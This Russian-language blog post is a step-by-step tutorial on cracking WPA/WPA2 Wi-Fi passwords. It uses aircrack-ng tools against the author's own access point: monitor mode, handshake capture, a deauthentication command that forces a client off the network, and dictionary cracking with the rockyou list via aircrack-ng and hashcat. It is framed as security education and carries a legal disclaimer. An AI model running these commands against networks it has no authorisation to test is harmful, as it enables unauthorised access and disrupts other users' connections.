Как ломают WPA/WPA2 сети с помощью aircrack-ng

1 января 2018

Из этой заметки вы узнаете, как можно подобрать пароль к Wi-Fi сети. Вообще-то говоря, меня лично куда сильнее интересует, как защититься от взлома, а не то, как можно что-то кому-то сломать. Но для построения нормальной защиты нужно понимать, как произвести атаку. Поэтому, об атаке далее и пойдет речь. Совершить же ее нам поможет набор утилит под названием aircrack-ng. Протокол WEP сейчас практически никем не используется, поэтому далее речь пойдет исключительно о протоколах WPA и WPA2.

Важно! Статья опубликована исключительно с целью информирования общественности о существующих угрозах. Я не призываю вас в каким бы то ни было действиям, а также не несу за них ответственности. Должен предупредить, что практически во всех странах неправомерный доступ к компьютерной информации является противоправным действием, предусматривающим ответственность вплоть до уголовной. Например, если вы живете в России, см главу 28 уголовного кодекса.

Итак, устанавливаем aircrack-ng:

sudo pacman -S aircrack-ng

Выше приведено название пакета для Arch Linux, но я почти уверен, что в других дистрибутивах он будет называться так же.

Проверяем, поддерживает ли сетевой интерфейс режим мониторинга:

sudo airmon-ng

Если список устройств не пустой (в нем есть wlp2s0 или что-то подобное), значит все хорошо. Иначе для повторения эксперимента придется поискать другой Wi-Fi адаптер. Лично я использовал встроенный адаптер моего ноутбука.

Далее переводим устройство в режим мониторинга:

sudo airmon-ng start wlp2s0

Может появиться предупреждение вроде такого:

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
  479 NetworkManager
  511 wpa_supplicant

Я лично просто его проигнорировал. Также вы должны увидеть что-то вроде:

mac80211 monitor mode vif enabled for [phy0]wlp2s0 on [phy0]wlp2s0mon

Следующим шагом ловим пакеты, собирая информацию о BSSID и номерах каналов ближайших сетей:

sudo airodump-ng wlp2s0mon

Мое внимание привлекла следующая сеть:

 CH  9 ][ Elapsed: 0 s ][ 2018-01-01 10:00
 BSSID              PWR  [...]  CH  MB   ENC  CIPHER AUTH ESSID
 BE:EF:C0:FF:FE:42  -34  [...]   6  54e. WPA2 CCMP   PSK  hackme

Как не трудно догадаться, это моя собственная Wi-Fi точка, которую я временно переименовал, а также сменил пароль от нее, на время написания заметки. BSSID я на всякий случай заменил в тексте на вымышленный.

Начинаем собирать зашифрованные пакеты, передаваемые в сети:

mkdir temp
sudo airodump-ng -c 6 --bssid 'BE:EF:C0:FF:FE:42' -w temp/ wlp2s0mon

Нужно дождаться появления строчки вроде такой:

CH  6 ][ Elapsed: 24 s ][ ... ][ WPA handshake: BE:EF:C0:FF:FE:42

Если «WPA handshake» долго не появляется, можно выбрать кого-нибудь из клиентов (колонка STATION в выводе airodump-ng) и в соседнем терминале порвать ему подключение к Wi-Fi точке:

sudo aireplay-ng -0 10 -a 'BE:EF:C0:FF:FE:42' \
  -c '65:61:78:2E:6D:65' wlp2s0mon

В результате клиент переподключится и мы поймаем нужный нам хэндшейк. Как вы могли догадаться, в хэндшейке содержится хэш пароля от Wi-Fi точки. Для подбора пароля воспользуемся словарем под названием rockyou:

wget https://downloads.skullsecurity.org/passwords/rockyou.txt.bz2
bzcat rockyou.txt.bz2 > rockyou.txt
aircrack-ng -a2 -b 'BE:EF:C0:FF:FE:42' -w rockyou.txt temp/-01.cap

Перебор займет какое-то время, и, если пароль был в словаре, мы увидим его на экране:

                           Aircrack-ng 1.2 rc4

[00:00:00] 64/7120714 keys tested (2919.57 k/s)

Time left: 40 minutes, 39 seconds                          0.00%

                     KEY FOUND! [ spongebob ]
[...]

Здесь для демонстрационных целей я заранее выбрал пароль из начала словаря, поэтому он был подобран практически мгновенно. Перебор же всех паролей на моем ноутбуке занимает 40-45 минут.

Fun fact! Взлом беспроводных сетей еще называют вардрайвингом (wardriving).

Перебор можно ускорить, перенеся его с CPU на GPU с помощью утилиты hashcat. У меня, к сожалению, это не работает — возникает ошибка:

hashcat (v4.0.1) starting...
clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR

Видимо, негодный GPU. Но теоретически нужно просто сказать:

sudo pacman -S hashcat hashcat-utils
cap2hccapx temp/-01.cap temp/-01.hccapx
hashcat -m 2500 temp/-01.hccapx rockyou.txt

В нормальный режим работы сетевой интерфейс теоретически переводится следующей командой:

sudo airmon-ng stop wlp2s0

Но у меня это тоже не работает. Устройство так и остается в режиме мониторинга до следующей перезагрузки.

Дополнение: В контексте безопасности WiFi сетей вас также могут заинтересовать посты О публичном Wi-Fi, поддельных SSID’ах и sslstrip и Ставим прошивку OpenWrt на роутер TP-Link TL-WDR3600.

Метки: , .


Вы можете прислать свой комментарий мне на почту, или воспользоваться комментариями в Telegram-группе.